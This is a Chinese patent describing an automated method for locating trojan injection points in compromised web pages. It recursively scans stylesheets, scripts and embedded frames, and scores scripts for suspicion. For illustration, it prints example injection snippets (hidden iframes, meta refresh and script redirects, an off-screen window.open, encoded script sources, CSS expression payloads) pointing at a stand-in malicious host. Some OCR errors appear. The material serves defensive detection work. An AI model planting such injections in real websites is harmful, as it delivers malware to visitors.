專利名稱:一種掛馬網(wǎng)頁中網(wǎng)頁木馬掛接點(diǎn)自動定位方法
技術(shù)領(lǐng)域:
本發(fā)明屬于計(jì)算機(jī)安全領(lǐng)域,涉及一種基于網(wǎng)頁內(nèi)部結(jié)構(gòu)解析的網(wǎng)頁木馬自動化 分析技術(shù),利用網(wǎng)頁木馬掛接的技術(shù)特點(diǎn),提出一種網(wǎng)頁木馬掛接點(diǎn)自動識別與定位的方法。
背景技術(shù):
當(dāng)前,Web瀏覽已經(jīng)成了傳播惡意程序的重要途徑,網(wǎng)頁木馬的傳播手段已經(jīng)從 以往的通過欺騙的手段誘使用戶下載安裝轉(zhuǎn)變?yōu)楣粝到y(tǒng)中存在的安全漏洞并自動下載 和安裝木馬程序。越來越多的瀏覽器和瀏覽器插件的漏洞被發(fā)現(xiàn),像微軟的MS06-014, MS08-078, MS09-002, MS09-028 漏洞,Adobe Flash 和 Acrobat Reader 的漏洞等都是網(wǎng)頁 掛馬中常用的漏洞。在2008年,IE報(bào)出31個新的漏洞,各類ActiveX插件中報(bào)告出366 個漏洞,在 Pwn20wn 2009,the 3rd annual hacker contest φ, Safari,Internet Explorer 8和Firefox也都相繼出現(xiàn)了新的zero-day攻擊。2008年,Niels Provos等的研究報(bào)告 [參見 AllYour iFrames Point to Us, Niels Provos, Panayiotis Mavrommatis, Moheeb Rajab, FabianMonrose, 17th USENIX Security Symposium, 2008.]中表示,google 的研究 團(tuán)隊(duì)已經(jīng)從互聯(lián)網(wǎng)中檢測到3,000,000個掛馬的網(wǎng)頁,其搜索引擎返回的用戶查詢結(jié)果頁 面中有1. 3%的網(wǎng)頁為掛馬網(wǎng)頁?,F(xiàn)有技術(shù)中,術(shù)語“網(wǎng)頁掛馬”(drive-by download)特指攻擊者篡改具有安全漏 洞的網(wǎng)站上的網(wǎng)頁,在網(wǎng)頁上部署惡意內(nèi)容,試圖利用網(wǎng)頁瀏覽者主機(jī)上存在的瀏覽器及 其插件的安全漏洞,攻擊瀏覽者主機(jī)系統(tǒng)并自動下載和安裝木馬程序的行為。當(dāng)用戶使用 瀏覽器瀏覽這些被掛馬的網(wǎng)頁時,如果系統(tǒng)中存在相應(yīng)的漏洞,網(wǎng)頁中包含的惡意程內(nèi)容 就會偷偷在用戶主機(jī)下載和安裝惡意軟件,獲取系統(tǒng)的控制權(quán),進(jìn)而竊取用戶的私人信息, 或?qū)⒂脩糁鳈C(jī)轉(zhuǎn)變?yōu)橄乱徊降墓籼宓取T诰W(wǎng)頁掛馬的過程中,可以將其中參與的元素劃分成如下的角色被掛馬網(wǎng)頁指遭到攻擊者惡意篡改的網(wǎng)頁。攻擊者可能已經(jīng)獲該受害網(wǎng)站的控 制權(quán),可以直接修改這些網(wǎng)頁的內(nèi)容,也可能是通過上傳CSS文件等方式,向網(wǎng)頁中寫入了 惡意的攻擊內(nèi)容。在篡改得逞后,攻擊者利用被掛馬網(wǎng)頁的流量將自己的網(wǎng)頁木馬傳播開 去,達(dá)到入侵網(wǎng)頁瀏覽者主機(jī)的目的。漏洞主要分為瀏覽器漏洞和瀏覽器插件漏洞,網(wǎng)馬的成功執(zhí)行前提是瀏覽受害 網(wǎng)頁的用戶的客戶端主機(jī)上具有相應(yīng)的漏洞,這樣,網(wǎng)頁中包含的腳本代碼才能通過與這 些漏洞交互達(dá)到入侵用戶主機(jī)的目的。攻擊腳本用于搜索客戶端瀏覽器及其插件漏洞,實(shí)施exploit攻擊用戶主機(jī),下 載并執(zhí)行木馬的腳本程序,攻擊腳本是網(wǎng)馬攻擊過程中的重要組成部分。為了提高攻擊的 成功率,攻擊者通常會在被掛馬網(wǎng)頁上部署多套攻擊腳本,來攻擊不同的系統(tǒng)或軟件漏洞。木馬程序木馬程序是攻擊者試圖安裝在網(wǎng)頁瀏覽者主機(jī)上的惡意程序,用戶瀏 覽被掛馬網(wǎng)頁時,頁面中掛載的攻擊腳本成功攻擊客戶端系統(tǒng)或?yàn)g覽器插件等的漏洞后,會下載并執(zhí)行木馬程序。通常一個完整的木馬程序會包含“服務(wù)器”端和“控制器”端兩個 部分。植入受害用戶電腦的是“服務(wù)器”部分,攻擊者則利用“控制器”進(jìn)入運(yùn)行了“服務(wù)器” 的電腦。受害主機(jī)上運(yùn)行了木馬程序的“服務(wù)器”以后,就會有一個或幾個端口被打開,使攻 擊者可以利用這些打開的端口獲取系統(tǒng)控制權(quán),進(jìn)而可以任意毀壞、竊取受害用戶的文件, 甚至通過遠(yuǎn)程操控將受害主機(jī)變成進(jìn)一步的攻擊跳板。網(wǎng)頁木馬包含攻擊腳本的網(wǎng)頁,網(wǎng)馬頁面是攻擊腳本的載體。要運(yùn)行惡意攻擊腳本,需要先將惡意腳本部署在一個HTML頁面中,才能被瀏覽器加載運(yùn)行。宿主站點(diǎn)宿主站點(diǎn)指網(wǎng)頁木馬或攻擊腳本所存放的服務(wù)器,攻擊者擁有這些主 機(jī)的遠(yuǎn)程控制權(quán),這些服務(wù)器可能是攻擊者自己的服務(wù)器,也可能是被攻擊者攻陷的主機(jī)。目前網(wǎng)頁掛馬檢測方面的研究主要集中在判斷給定的網(wǎng)頁是否安全,常采用在受 控環(huán)境中動態(tài)訪問待檢測網(wǎng)頁的方法,或模擬執(zhí)行網(wǎng)頁的方法來檢測一個網(wǎng)頁是否會會包 含惡意行為,對于包含惡意行為的網(wǎng)頁予以報(bào)警,阻斷用戶訪問。這種方法主要從用戶的角 度出發(fā),防止用戶主機(jī)被感染。但網(wǎng)站掛馬不僅對用戶造成威脅,還會嚴(yán)重影響網(wǎng)站的聲譽(yù) 和網(wǎng)站運(yùn)營者的利益,因此網(wǎng)站管理者需要時刻關(guān)注網(wǎng)站中網(wǎng)頁的安全性,在網(wǎng)站被掛馬 后,需要快速定位網(wǎng)頁木馬所掛的位置,消除網(wǎng)頁掛馬所帶來的危害。本發(fā)明提出的網(wǎng)頁木 馬自動識別與定位的方法,可用于對網(wǎng)站進(jìn)行安全檢測,針對被檢測確定為掛馬的網(wǎng)頁,可 以快速的自動定位網(wǎng)頁中掛接的網(wǎng)頁木馬,匯總網(wǎng)頁中的網(wǎng)馬掛接點(diǎn)的位置信息,協(xié)助網(wǎng) 站管理人員快速移除網(wǎng)頁中的惡意內(nèi)容。
發(fā)明內(nèi)容
本發(fā)明的目的在于克服現(xiàn)有技術(shù)中存在的問題,根據(jù)網(wǎng)頁木馬掛接的技術(shù)特點(diǎn), 提出一種網(wǎng)頁掛馬網(wǎng)頁中的木馬掛接點(diǎn)的自動識別與定位的方法,可用于快速定位網(wǎng)頁木 馬在網(wǎng)頁中掛接的位置,協(xié)助網(wǎng)站管理人員快速移除受害網(wǎng)頁中所包含的惡意內(nèi)容。以下首先說明在網(wǎng)頁中掛馬的技術(shù)原理。瀏覽器在瀏覽網(wǎng)頁時,除了加載頁面文件本身的內(nèi)容之外,還會加載頁面文件中 鏈入的外部腳本、外嵌CSS文件、frame/iframe所指向的網(wǎng)頁文件等。網(wǎng)頁中的腳本代碼, 在文件加載后,會作為網(wǎng)頁一部分直接運(yùn)行,這些腳本文件可以與瀏覽器及其插件交互,可 以向網(wǎng)頁中寫入新的網(wǎng)頁內(nèi)容,也可以打開新的網(wǎng)頁,或?qū)⒕W(wǎng)頁重新定向到新的URL。本發(fā)明發(fā)明人經(jīng)過長期的研究,將常見的掛馬方式歸納如下1.直接插入木馬腳本的網(wǎng)頁掛馬方式將惡意腳本以script的方式插入到被掛 馬網(wǎng)頁中,這種方法容易實(shí)現(xiàn),但一個惡意功能,可能需要較長的惡意腳本才能實(shí)現(xiàn),而且 這些惡意腳本中常包含的shellcode指令具有明顯的特征,直接掛接在頁面中,容易被管 理員發(fā)現(xiàn);此外,當(dāng)攻擊者想要改用其他的攻擊手段時,逐一修改這些被掛馬網(wǎng)頁的內(nèi)容也 很困難,因此,這種方法在實(shí)際網(wǎng)絡(luò)中較少被采用。2.內(nèi)嵌網(wǎng)頁的掛馬方式攻擊者在實(shí)際掛馬過程中,為了構(gòu)造和替換方便,常會 將木馬腳本插入到某個網(wǎng)頁,然后將這些惡意的HTML頁面保存在攻擊者已獲取控制權(quán)限 的服務(wù)器上,在需要用到的時候,以隱形的內(nèi)嵌頁面的方式將該頁面插入到被掛馬網(wǎng)頁中, 使用這種方法,在被掛馬網(wǎng)頁中常見到的信息如下<iframesrc = http://www. xxx. com/ muma. html width = 0 height = 0></iframe〉。其中的 http://www. xxx. com/muma. html即為一個指向攻擊者精心構(gòu)造的惡意網(wǎng)頁的URL。目前網(wǎng)絡(luò)上常見的網(wǎng)頁木馬生成器,主要 的做法就是根據(jù)攻擊者提供的木馬程序的地址,由生成器生成相應(yīng)的包含攻擊腳本的惡意 HTML頁面,攻擊者將這些頁面上傳到某個網(wǎng)絡(luò)空間,再以iframe等方式掛接到被掛馬網(wǎng)頁 中。3.網(wǎng)頁重定向的掛馬方式通過向被掛馬網(wǎng)頁中插入網(wǎng)頁重定向指定,將被掛馬 網(wǎng)頁重定向到攻擊者預(yù)備好的惡意網(wǎng)頁。網(wǎng)頁掛馬中常用的重定向方式有設(shè)置meta標(biāo)簽 的refresh屬性,修改location, href的值和調(diào)用window, navigate ()函數(shù)等方式,其使用 方法如下所示。<meta http-equiv = “ Refresh" content = 2 ;url = “ http://www.xxx.com/ muma. html“ >location, href = “ http://www.xxx.com/muma.html"navigate (“ http://www.xxx.com/muma.html")4.打開新窗口的網(wǎng)頁掛馬方式通過腳本命令被掛馬網(wǎng)頁中打開新的窗口到攻 擊者預(yù)備好的網(wǎng)頁。為了隱蔽,網(wǎng)頁掛馬時常在調(diào)用時設(shè)置這些新窗口出現(xiàn)的位置和大小, 將窗口彈出在用戶看不到的位置,其使用方法如下所示.open( "http://www. xxx. com/muma. html”,newwindow, height = 0,width = 0, top = 1000,left = 0,toolbar = no,menubar = no,scrollbars = no,resizable = no, location = no, status = no)5.外鏈腳本文件的網(wǎng)頁掛馬方式將攻擊腳本寫入script文件中,在被掛馬網(wǎng)頁 中插入木馬腳本的鏈接的掛馬方式。在瀏覽器加載被掛馬網(wǎng)頁時,這些腳本文件也會被加 載并運(yùn)行。還有一種外鏈腳本文件掛馬的方式是,在外鏈Script文件中向網(wǎng)頁動態(tài)寫入指 向被掛馬HTML的Frame/iframe等。由于iframe掛馬的方式越來越為多數(shù)人所熟知,而 iframe在正常的網(wǎng)頁開發(fā)中使用的并不頻繁,特別是隱形的(大小為O的)iframe更是特 征明顯,而相對而言,一個站點(diǎn)中常會引入多個外鏈的腳本文件,為了達(dá)到更好的隱藏的效 果,攻擊者逐漸開始采用外鏈腳本文件動態(tài)生成Frame/iframe的方式來掛馬。為了提高網(wǎng) 馬的中率,攻擊者還常常會掛接多個針對不同軟件或系統(tǒng)漏洞的網(wǎng)頁木馬,即在被掛馬網(wǎng) 頁中掛接多個惡意的腳本文件,或在惡意腳本中寫入多個指向不同網(wǎng)頁木馬的iframe。攻 擊者在被掛馬文件中鏈入腳本時常會對url進(jìn)行轉(zhuǎn)碼以躲避針對已知惡意網(wǎng)站的掃描,常 見的形式如下<script type = “ text/javascript “ language = “ JavaScript “ src ="http://fflll4. 2288. % 6Frg" ></script>而在src屬性所指向的腳本文件中的則包含了上文所述的向網(wǎng)頁中寫入網(wǎng)頁木 馬鏈接的命令document, writeln(“ <iframe src = http://www. xxx. com/muma. html width = 0 height = OX/iframe)")通過這種方式,在瀏覽器加載網(wǎng)頁后,腳本程序被加載運(yùn)行,將惡意網(wǎng)頁作為內(nèi)嵌 頁面寫入被掛馬網(wǎng)頁中;6. CSS掛馬方式CSS是層疊樣式表(Cascading Style Sheets)的英文縮寫。CSS最主要的目的是將文件的結(jié)構(gòu)(用HTML或其他相關(guān)語言寫的)與文件的顯示分隔開來。IE5及其以后版本支持在CSS中使用expression,用來把CSS屬性和JavaScript腳本關(guān)聯(lián) 起來,CSS屬性后面可以是一段JavaScript表達(dá)式,屬性的值等于Javascript表達(dá)式執(zhí)行 的結(jié)果,在expression中可以直接引用元素自身的屬性和方法,也可以使用其他瀏覽器對 象。此外樣式表中body的background-image屬性可引入script腳本,攻擊者常會利用這 種特性,將攻擊腳本或腳本文件插入網(wǎng)頁的樣式表中。CSS掛馬可采用外聯(lián)樣式表掛馬,也 可采用內(nèi)部樣式表掛馬。外聯(lián)樣式表掛馬,在被掛馬網(wǎng)頁中常表現(xiàn)為<linkrel=〃 stylesheet" type=" text/ess" href =" http://www.xxx. com/muma. ess" />內(nèi)聯(lián)掛馬的在網(wǎng)頁中的樣式常表現(xiàn)為<style type =“ text/ess" >body {background-image :url ( 'javascript: document, write(" <iframe src =http://www. xxx. com/muma. html width = Oheight = OX/iframe>" ))}</style>針對上述常見的掛馬方式,本發(fā)明提出一種定位掛馬網(wǎng)頁中的“掛馬點(diǎn)”的方法, 這里所述的”掛馬點(diǎn)”指在網(wǎng)頁中引入惡意行為的內(nèi)容,包括直接或間接引入惡意行為的 非本站點(diǎn)內(nèi)容,以及直接引入惡意行為的本站點(diǎn)內(nèi)容,如在網(wǎng)頁中引入惡意腳本段的樣式 表、使用內(nèi)嵌頁面方式引入外站惡意網(wǎng)頁的代碼段、引入惡意行為的腳本代碼段以及向網(wǎng) 頁中添加惡意網(wǎng)頁的腳本代碼段等。本發(fā)明方法針對掛馬網(wǎng)頁進(jìn)行深度遞歸分析,確定網(wǎng)頁木馬掛接點(diǎn)的特征,并在 分析過程中給出掛接點(diǎn)在待分析網(wǎng)頁中的位置。具體來說,本發(fā)明方法包括a)確定待分析網(wǎng)頁是否掛馬通過設(shè)定的網(wǎng)頁木馬檢測方法檢測用戶輸入的待 分析網(wǎng)頁是否掛馬,并對確定掛馬的掛馬網(wǎng)頁進(jìn)行后續(xù)處理;如果待分析網(wǎng)頁未被確定為 掛馬,則退出后續(xù)的分析過程;b)樣式表分析獲得掛馬網(wǎng)頁中的樣式表;提取樣式表中的腳本;按步驟C)的腳 本分析方法分析所述腳本是否為惡意腳本,存在惡意腳本的樣式表是網(wǎng)頁木馬掛接點(diǎn);輸 出存在惡意腳本的樣式表在其父網(wǎng)頁中的位置;c)腳本分析獲得掛馬網(wǎng)頁中的腳本;分析所述腳本是否具有下列惡意特征中的 一種或多種調(diào)用已知漏洞的對象、包含惡意代碼、打開惡意網(wǎng)頁、重定向至惡意網(wǎng)頁、和添 加惡意網(wǎng)頁;若是,則所述腳本為惡意腳本,這些惡意腳本也是網(wǎng)頁木馬掛接點(diǎn);輸出惡意 腳本在其父網(wǎng)頁中的位置;d)內(nèi)嵌網(wǎng)頁分析獲得掛馬網(wǎng)頁中的內(nèi)嵌網(wǎng)頁,針對其中的每一個內(nèi)嵌網(wǎng)頁逐一分析采用步驟a)所述網(wǎng)頁木馬檢測方法檢測該內(nèi)嵌網(wǎng)頁是否為掛馬網(wǎng)頁,若不是,則該 內(nèi)嵌網(wǎng)頁不是掛馬網(wǎng)頁,退出該內(nèi)嵌網(wǎng)頁的分析;若確定該內(nèi)嵌網(wǎng)頁掛馬,則該內(nèi)嵌網(wǎng)頁為 惡意網(wǎng)頁,則繼續(xù)按以下步驟進(jìn)行分析解析掛馬的內(nèi)嵌網(wǎng)頁的站點(diǎn)域名,判斷該域名與“任務(wù)站點(diǎn)(S卩,步驟a)所述待分 析網(wǎng)頁的站點(diǎn)域名)”是否相同,若不屬于同一個站點(diǎn)域名,則認(rèn)為該內(nèi)嵌頁面為攻擊者惡意掛入的網(wǎng)頁鏈接,即為一個網(wǎng)頁木馬掛接點(diǎn),輸出其內(nèi)嵌標(biāo)簽在其父網(wǎng)頁中的位置;否則 將該內(nèi)嵌網(wǎng)頁作為掛馬網(wǎng)頁重復(fù)步驟b),C),d)進(jìn)行遞歸分析,該遞歸分析直到所有分析 過的內(nèi)嵌網(wǎng)頁中都不再包括和任務(wù)站點(diǎn)同站點(diǎn)域的內(nèi)嵌網(wǎng)頁時停止。上述樣式表包括外部樣式表和內(nèi)部樣式表,外部樣式表通過下列方法獲得掃描 掛馬網(wǎng)頁,當(dāng)遇到<link>標(biāo)簽時,若其屬性滿足<rel =〃 stylesheet",type = 〃 text/ ess" >,且含有href屬性,則提取href屬性值指向的樣式表;內(nèi)部樣式表通過下列方法獲 得掃描掛馬網(wǎng)頁,當(dāng)遇到〈style〉標(biāo)簽時,若其屬性滿足〈type = 〃 text/ess" >,則提取 該標(biāo)簽內(nèi)部的樣式表。上述樣式表中的腳本具體可通過下列方法提取掃描樣式表,若存在 "expression"字段,則提取其后最近的一對匹配的“(”與”)”之間的腳本;掃描樣式表,若 存在“url( ‘javascript:”字串,則提取在其后與之匹配的”)”之間的腳本。上述掛馬網(wǎng)頁中的腳本包括內(nèi)部腳本和外部腳本,內(nèi)部腳本通過下列方法獲得 掃描掛馬網(wǎng)頁中的〈script〉標(biāo)簽,若該標(biāo)簽不存在src屬性,則提取該標(biāo)簽內(nèi)部的腳本;夕卜 部腳本通過下列方法獲得掃描掛馬網(wǎng)頁中的〈script〉標(biāo)簽,若該標(biāo)簽存在src屬性,則提 取src屬性值指向的腳本。特別對于外部腳本而言,進(jìn)一步對src屬性值進(jìn)行解碼,若解碼后的值與原值不 同,則認(rèn)定所述外部腳本為惡意腳本。和現(xiàn)有技術(shù)相比,本發(fā)明具有以下積極效果1.本發(fā)明根據(jù)常見的掛馬方式提出了網(wǎng)頁木馬掛接點(diǎn)的概念,并給出了一種自動 定位掛馬網(wǎng)頁中網(wǎng)頁木馬掛接點(diǎn)位置的方法,將網(wǎng)頁木馬掛接的位置細(xì)化,定位到引入惡 意行為的具體位置,通過這種方法可以有效的為網(wǎng)站維護(hù)者提供移除網(wǎng)頁木馬所需要的惡 意內(nèi)容位置信息。2.本發(fā)明可以和現(xiàn)有的網(wǎng)頁檢測方法結(jié)合使用,對于被判定為掛馬的網(wǎng)頁,可進(jìn) 一步定位其中的掛馬點(diǎn),通過兩層驗(yàn)證的方法有效避免對惡意腳本的誤判。此外,在進(jìn)行網(wǎng) 頁檢測時和可疑腳本判斷時,本發(fā)明采用動靜結(jié)合的方法,可以發(fā)現(xiàn)殺毒引擎不能發(fā)現(xiàn)的 惡意內(nèi)容,有效的定位惡意內(nèi)容的掛接位置。
具體實(shí)施例方式下面結(jié)合具體實(shí)施案例對本發(fā)明方法作進(jìn)一步說明。本實(shí)施例包括下列步驟1.檢測一個待分析網(wǎng)頁文件(比如HTML文件)是否掛馬a)首先使用殺毒軟件掃描該網(wǎng)頁文件的內(nèi)容,若檢測出包含惡意內(nèi)容,則可判定 該網(wǎng)頁是掛馬網(wǎng)頁;否則繼續(xù)以下步驟;b)在受控虛擬主機(jī)蜜罐(系統(tǒng)中包含常見的系統(tǒng)和瀏覽器漏洞,并安裝有常見的 含有漏洞的第三方軟件)中啟動網(wǎng)頁瀏覽器(比如IE)瀏覽該網(wǎng)頁文件,若觸發(fā)惡意行為, 則可判定該網(wǎng)頁是掛馬網(wǎng)頁。判定為掛馬網(wǎng)頁的網(wǎng)頁文件繼續(xù)進(jìn)行后續(xù)步驟以進(jìn)一步自動定位木馬掛接點(diǎn)。需要說明的是,確定網(wǎng)頁文件是否為掛馬網(wǎng)頁的方法不一而足,這部分內(nèi)容不屬 于本發(fā)明方法,也不是本發(fā)明方法關(guān)注的。本發(fā)明方法只針對已經(jīng)確定為掛馬的網(wǎng)頁,這樣的網(wǎng)頁也可以是他人(比如客戶)提交的疑似掛馬的網(wǎng)頁,或已經(jīng)通過其他方法確定掛馬的網(wǎng)頁。2.樣式表分析a)首先對掛馬網(wǎng)頁內(nèi)容進(jìn)行規(guī)范化處理,消除其中多余的空格/空行/注釋行;b)獲取樣式表-外部樣式表掃描掛馬網(wǎng)頁,當(dāng)遇到<link>標(biāo)簽時,若其屬性滿足<rel ="stylesheet" , type = " text/ess" >,且含有href屬性,則可以確定此處引入了外 部樣式表。提取href參數(shù)的右值,即為外部樣式表的URL,根據(jù)這個URL即可通過網(wǎng)絡(luò)獲取 外部樣式表;-內(nèi)部樣式表掃描掛馬網(wǎng)頁,當(dāng)遇到〈style〉標(biāo)簽時,若其屬性滿足〈type ="text/ess" >,則可以確定此處引入了內(nèi)部樣式表,獲取該標(biāo)簽內(nèi)部的樣式表內(nèi)容;c)提取樣式表中的腳本對于獲得的樣式表(包括外部樣式表和內(nèi)部樣式表),掃描樣式表中是否包含 "expression"字段,若存在,則其后最近的一對匹配的“(”與”)”之間的內(nèi)容為一個腳本;掃描樣式表中是否包含“url( ‘javascript:”字串,若存在這個字串, 則在其后與之匹配的”)”之間的內(nèi)容為一個javascript腳本,例如,對于形如 "url ( ‘javascript: XXX)”的代碼,其中的“XXX”是一個腳本;d)樣式表掛馬分析對于樣式表中提取的腳本,按照下列步驟3進(jìn)行分析,若經(jīng)分析認(rèn)定該腳本為惡 意腳本,則可認(rèn)為該樣式表為一個惡意掛馬點(diǎn),輸出該樣式表標(biāo)簽所在的網(wǎng)頁鏈接,樣式表 標(biāo)簽出現(xiàn)的位置和附近位置的上下文信息記錄。由此準(zhǔn)確定位樣式表中的木馬掛接點(diǎn)。3.腳本分析a)首先對掛馬網(wǎng)頁內(nèi)容進(jìn)行規(guī)范化處理,消除其中多余的空格/空行/注釋行 (當(dāng)然已經(jīng)經(jīng)過規(guī)范化處理則不再重復(fù)處理);b)獲取腳本-內(nèi)部腳本掃描掛馬網(wǎng)頁中的〈script〉標(biāo)簽,若該標(biāo)簽不存在src屬性,則是一 個內(nèi)部腳本,提取標(biāo)簽內(nèi)部的內(nèi)容;-外部腳本若該標(biāo)簽存在src屬性,則是一個外部腳本,根據(jù)src屬性的值通過 網(wǎng)絡(luò)即可獲取該外部腳本;此處,進(jìn)一步采用url解碼算法對該src屬性的值進(jìn)行解碼,若解碼后的值與原值 不同,則認(rèn)為該src所指向的URL包含了轉(zhuǎn)碼,此時可直接認(rèn)定該外部腳本為惡意腳本,或 采用相對緩和的應(yīng)對措施,比如認(rèn)定為疑似惡意腳本作進(jìn)一步的分析;c)腳本掛馬分析對于上面獲得的腳本(包括內(nèi)部腳本和外部腳本),作下列分析_調(diào)用已知漏洞的對象將包含已知漏洞的對象的Classid及包含漏洞的調(diào)用方 法添加到可疑對象列表中,在解析腳本內(nèi)容時,若這些Classid與調(diào)用方法同時在腳本內(nèi) 容中出現(xiàn),則可認(rèn)為該腳本包含了調(diào)用已知漏洞的對象的指令,則認(rèn)定該腳本為惡意腳本, 輸出該腳本在掛馬網(wǎng)頁中的位置,由此確定木馬掛接點(diǎn);-包含惡意代碼使用殺毒軟件掃描腳本,若其中包含惡意代碼,則認(rèn)定該腳本為惡意腳本,輸出該腳本在掛馬網(wǎng)頁中的位置,由此確定木馬掛接點(diǎn),-打開惡意網(wǎng)頁掃描腳本中是否存在Open指令,若發(fā)現(xiàn)該指令,獲取其參數(shù)內(nèi)容并進(jìn)行解析,其第一個參數(shù)即為要打開的網(wǎng)頁,采用下面步驟4所述網(wǎng)頁分析方法對該網(wǎng) 頁進(jìn)行檢測,若檢測結(jié)果為掛馬網(wǎng)頁,則認(rèn)定該腳本為惡意腳本,輸出該腳本在掛馬網(wǎng)頁中 的位置,由此確定木馬掛接點(diǎn);-重定向至惡意網(wǎng)頁掃描腳本中出現(xiàn)的作為左值的location,href,其右值即為 網(wǎng)頁重定向的目標(biāo)地址;掃描腳本中出現(xiàn)的navigate函數(shù),其第一個參數(shù)也是網(wǎng)頁重定向 的目標(biāo)地址。采用下面步驟4所述網(wǎng)頁分析方法對重定向的網(wǎng)頁進(jìn)行檢測,若檢測結(jié)果為 掛馬網(wǎng)頁,則認(rèn)定該腳本為惡意腳本,輸出該腳本在掛馬網(wǎng)頁中的位置,由此確定木馬掛接
點(diǎn)-添加惡意網(wǎng)頁掃描腳本中存在的Document, write指令或Document, writeln 指令,檢查其參數(shù)中是否包含“frame”,“iframe”等字段,若存在,解析其后面最近的src的 屬性值,則該腳本向網(wǎng)頁中添加了新的內(nèi)嵌網(wǎng)頁的目標(biāo)地址。采用下面步驟4所述網(wǎng)頁分 析方法對加入的網(wǎng)頁進(jìn)行檢測,若檢測結(jié)果為掛馬網(wǎng)頁,則認(rèn)定該腳本為惡意腳本,輸出該 腳本在掛馬網(wǎng)頁中的位置,由此確定木馬掛接點(diǎn);作為綜合考慮上述多個分析方面的腳本掛馬分析方法的一個實(shí)例,具體可按下列 方式操作1)若腳本所在的網(wǎng)頁中僅包含一段腳本,則該腳本可疑,設(shè)置此腳本的嫌疑度為 3,否則設(shè)置為0;2)使用殺毒軟件掃描腳本,如該腳本中包含惡意代碼,則該腳本可疑,設(shè)置此腳本 的嫌疑度為5,否則設(shè)置為0;3)若腳本標(biāo)簽包含src屬性,即該腳本為外部腳本,則檢查該標(biāo)簽的src屬性,若 src屬性所指向的URL包含了轉(zhuǎn)碼,則該腳本可疑,設(shè)置此腳本的嫌疑度為1,否則設(shè)置為 0 ;4)若腳本包含對常用漏洞的對象的調(diào)用,則認(rèn)為該網(wǎng)頁可疑,設(shè)置此腳本的嫌疑 度為2,否則設(shè)置為0;5)若腳本中包含打開惡意網(wǎng)頁/重定向至惡意網(wǎng)頁/添加惡意網(wǎng)頁等行為,則認(rèn) 為該腳本可疑,設(shè)置此腳本的嫌疑度為5,否則設(shè)置為0 ;6)將以上幾步分析中腳本所得的嫌疑度相加,獲得該腳本的總嫌疑度,若該腳本 的嫌疑度大于或等于5,則認(rèn)為該腳本為惡意腳本,該腳本出現(xiàn)的位置為一個惡意掛馬點(diǎn), 輸出該腳本標(biāo)簽所在的網(wǎng)頁鏈接,腳本標(biāo)簽出現(xiàn)的位置和附近位置的上下文信息;若嫌疑 度介于0到5之間,則該腳本是一個可疑腳本,留待進(jìn)一步分析;此外,該腳本為良性,循環(huán) 進(jìn)入下一個腳本的處理。4.內(nèi)嵌網(wǎng)頁分析a)獲取內(nèi)嵌網(wǎng)頁1)使用meta標(biāo)簽重定向指向的內(nèi)嵌網(wǎng)頁掃描網(wǎng)頁中的<meta>標(biāo)簽,若其 http-equiv屬性的值為"Refresh",則其url屬性的參數(shù)即為頁面將要跳轉(zhuǎn)的目標(biāo),獲取 該ur 1所指向的網(wǎng)頁,即為該URL通過跳轉(zhuǎn)方法內(nèi)嵌的網(wǎng)頁;2)使用frame,iframe引入的內(nèi)嵌網(wǎng)頁掃描網(wǎng)頁中的Frame/iframe標(biāo)簽,若存在src屬性,則該網(wǎng)頁中包含一個指向src屬性值的內(nèi)嵌網(wǎng)頁,可通過網(wǎng)絡(luò)根據(jù)src屬性值 獲取這些內(nèi)嵌網(wǎng)頁。b)分析過程1)采用步驟1中的方法檢測該內(nèi)嵌網(wǎng)頁是否為掛馬網(wǎng)頁,如果是,則繼續(xù)以下步 驟,否則退出該內(nèi)嵌網(wǎng)頁的分析;2)計(jì)算上述內(nèi)嵌網(wǎng)頁的站點(diǎn)域名,將其與掛馬網(wǎng)頁的站點(diǎn)域名相比,若域名不同, 則認(rèn)為該內(nèi)嵌網(wǎng)頁為攻擊者惡意掛入的網(wǎng)頁鏈接,是一個網(wǎng)頁木馬掛接點(diǎn),輸出其嵌入標(biāo) 簽(即將內(nèi)嵌網(wǎng)頁嵌入掛馬網(wǎng)頁的標(biāo)簽,如meta,frame,iframe等)在其父掛馬網(wǎng)頁中的 位置和上下文信息;否則按照步驟2,3,4對該網(wǎng)頁進(jìn)行進(jìn)一步的遞歸分析,直到所有的內(nèi) 嵌網(wǎng)頁中都不再包括同站點(diǎn)域的內(nèi)嵌網(wǎng)頁。如上所述,本發(fā)明在綜合分析網(wǎng)頁木馬的掛馬機(jī)制的基礎(chǔ)上,提出一種自動化的定位掛馬網(wǎng)頁中的惡意內(nèi)容的方法。本發(fā)明發(fā)明人將本實(shí)施例方法試驗(yàn)性地(不向公眾公 開)應(yīng)用于北京大學(xué)網(wǎng)站掛馬檢測系統(tǒng)(http://ercis. icst. pku. edu. cn/),在面向整個 教育網(wǎng)的公益性掛馬監(jiān)測及事件通知服務(wù)中進(jìn)行實(shí)際應(yīng)用,用于向受害網(wǎng)站的管理提供被 掛馬網(wǎng)頁中惡意內(nèi)容所掛接的位置信息。試驗(yàn)結(jié)果表明,本發(fā)明方法取得了很好的效果,實(shí) 現(xiàn)了本發(fā)明的目的,具有很好的實(shí)用性和推廣應(yīng)用前景。
權(quán)利要求
一種掛馬網(wǎng)頁中網(wǎng)頁木馬掛接點(diǎn)自動定位方法,所述方法包括下列步驟a)通過設(shè)定的網(wǎng)頁木馬檢測方法檢測待分析網(wǎng)頁,確定掛馬網(wǎng)頁;b)獲得掛馬網(wǎng)頁中的樣式表;提取樣式表中的腳本;輸出存在惡意腳本的樣式表在其父網(wǎng)頁中的位置,所述惡意腳本具有下列惡意特征中的一種或多種調(diào)用已知漏洞的對象、包含惡意代碼、打開惡意網(wǎng)頁、重定向至惡意網(wǎng)頁、和添加惡意網(wǎng)頁;c)獲得掛馬網(wǎng)頁中的腳本;輸出惡意腳本在其父網(wǎng)頁中的位置,所述惡意腳本具有下列惡意特征中的一種或多種調(diào)用已知漏洞的對象、包含惡意代碼、打開惡意網(wǎng)頁、重定向至惡意網(wǎng)頁、和添加惡意網(wǎng)頁;d)獲得掛馬網(wǎng)頁中的內(nèi)嵌網(wǎng)頁,對確定掛馬的內(nèi)嵌網(wǎng)頁,比較其站點(diǎn)域名與所述掛馬網(wǎng)頁的站點(diǎn)域名是否相同,若不同則確定該內(nèi)嵌網(wǎng)頁為惡意網(wǎng)頁,輸出其內(nèi)嵌標(biāo)簽在其父網(wǎng)頁中的位置;若相同則將該內(nèi)嵌網(wǎng)頁作為掛馬網(wǎng)頁重復(fù)步驟b),c),d)。
